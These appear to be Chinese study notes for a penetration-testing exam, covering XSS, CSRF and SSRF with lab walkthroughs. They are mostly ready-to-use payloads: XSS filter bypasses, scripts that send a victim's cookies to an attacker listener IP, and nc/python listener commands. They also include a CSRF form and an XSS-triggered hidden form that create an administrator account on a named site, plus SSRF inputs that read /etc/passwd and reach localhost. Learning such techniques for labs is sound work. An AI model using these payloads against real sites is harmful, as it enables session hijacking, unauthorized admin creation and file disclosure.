pte学习_xss

加密特征

大小写字母+数字+=   #base64
小写字母+数字      #md5

Cookie和Session机制-会话固定、会话劫持
Cookie: 存放在浏览器中-检查-应用程序-cookie;作用:会话状态管理。可伪造
set-cookie:服务器设置Cookie。
Session:存放在服务器上;作用:Session代表当前服务器和 客户端一次会话的过程,储存者用户会话所需的配置信息。不可伪造
Cookie和Session是两个东西,没有对应关系,Cookie有时包含Session。

XSS漏洞:跨站脚本攻击

原理:攻击者向有XXS漏洞的网站中的表单/url参数中插入恶意的JS代码,然后插入其中的JS代码可以执行,并返回给我们相应的执行结果,达到攻击的目的。
危害:页面重定向、拒绝服务、获取网站Cookie。
防御:严格的检测和过滤。
反射型XSS

存储型XSS

DOM型XSS
纯前端行为

常用脚本

<script>alert(1)</script>    //提示框
<script>confirm(1)</script>   //确认框
<script>prompt(1)</script>    //输入框
<body onload=alert('xss')>    //加载时弹窗
<img src=# onerror=alert(1)>   //图片不存在时弹窗
<img src=# onmouseover=alert(1)>  //鼠标移动到图片上弹窗
<script>window.location="http://www.baidu.com"</script>   //重定向
<script>alert(document.cookie)</script>   //弹出当前网站的cookie

绕过:双写、大小写、闭合

实战

第二关:
<scr<script>ipt>alert(1)</script>  //双写绕过
test" oncut="alert(1)      //剪切事件弹窗
test" οnmοuseοver="alert(1)   //鼠标悬浮
test" οnclick="alert(1)  //点击事件

第三关:
test' οnmοuseοver='alert(/xss/)
test" οnmοuseοver="alert(1)

第四关:
test" οnclick="alert(/xss/)

第五关:
"><a href=javascript:alert('XSS')>

第六关:
"><a hRef=javascript:alert('XSS')>

第七关:
"><scrscriptipt>alert(1);</scrscriptipt>

URl编码绕过:需要编码两次
http://116.62.203.33:82/index.php/search-index-%25%32%37%25%32%30%25%36%66%25%36%65%25%36%33%25%37%35%25%37%34%25%33%64%25%32%37%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34%25%32%38%25%33%31%25%32%39-1.html

获取cookie脚本1

<script>
var a=new Image();
a.src="http://ip:port/1.jpg?o="+document.cookie;
</script>  //ip为本机ip,端口为监听端口

//  
//  
<script>new Image().src="http://192.168.31.106:8899/"+document.cookie;</script>   //一句话脚本

获取cookie脚本2

<script>
var img=document.createElement('img');
img.src='http://192.168.60.141:88/log?output='+escape(document.cookie);
</script>

<script>document.createElement('img').src='http://192.168.60.141:88/log?output='+escape(document.cookie);</script> //一句话脚本

监听返回cookie

nc -vlp 4444  //nc监听
python -m SimpleHTTPServer 8899  //使用python2开启http服务进行监听
python -m http.server 8899  //使用python3开启http服务进行监听

CSRF漏洞(客户端请求伪造漏洞)

原理:攻击者在受害者毫不知情的情况下以受害者的身份伪造网络请求发送给受攻击站点,从而在未授权的情况下执行在权限保护之下的操作,具有很大的危害性。
防御:1、添加Referer字段;2、token;3、验证码。
利用:1、只校验了Cookie。
1、DVWA-Low

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://c6e90e52.clsadp.com/admin.php?c=admin&f=save" method="POST">
      <input type="hidden" name="id" value="" />
      <input type="hidden" name="account" value="7777" />
      <input type="hidden" name="pass" value="777@123" />
      <input type="hidden" name="email" value="777@qq.com" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="if_system" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

2、DVWA-medium
加了一个Referer限制,绕过方式:修改文件名。
3、XSS漏洞和CSRF漏洞组合拳:

CSRF: http://192.168.31.106/1.html

XSS: <a href="http://192.168.31.106/1.html">
<div style="display:none">
<form action="http://c6e90e52.clsadp.com/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
<input type="hidden" name="id" value=""/>
<input type="hidden" name="account" value=""/>
<input type="hidden" name="pass" value=""/>
<input type="hidden" name="email" value=""/>
<input type="hidden" name="status" value=""/>
<input type="hidden" name="if_system" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script>
var t = document.poc;
t.account.value="645766";
t.pass.value="123456";
t.status.value="1";
t.if_system.value="1";
document.poc.submit();
</script>
</div>

SSRF漏洞

原理:服务器端请求伪造漏洞,一种攻击者构造形成,由服务器发起请求的一个安全漏洞。
SSRF漏洞主要的攻击目标:1、外网无法访问的内部系统:内网;2、攻击本地服务器上的应用,尝试拿到本地服务器的高权限。
服务器需要远程获取其他服务器上的资源,如果目标地址没有做过滤和限制。DMZ区(对外提供服务的区域)。
防御:过滤、禁用函数
利用:1、curl_exec();2、file_get_contents();3、fsockopen();

file_get_contents('1.php');
file_get_contents('http://www.baidu.com/index.html')

伪协议

http://www.baidu.com
file:///etc/passwd     //读取文件
dict://127.0.0.1:80    //端口探测
gopher://              //构造get、post请求     

url = http://localhost/flag.php
url = file:///etc/passwd 
http://127.0.0.1/flag.php
http://127.1/flag.php
http://0.0.0.0/flag.php
http://0x7f000001/flag.php

你可能感兴趣的:(pte学习笔记,学习,xss)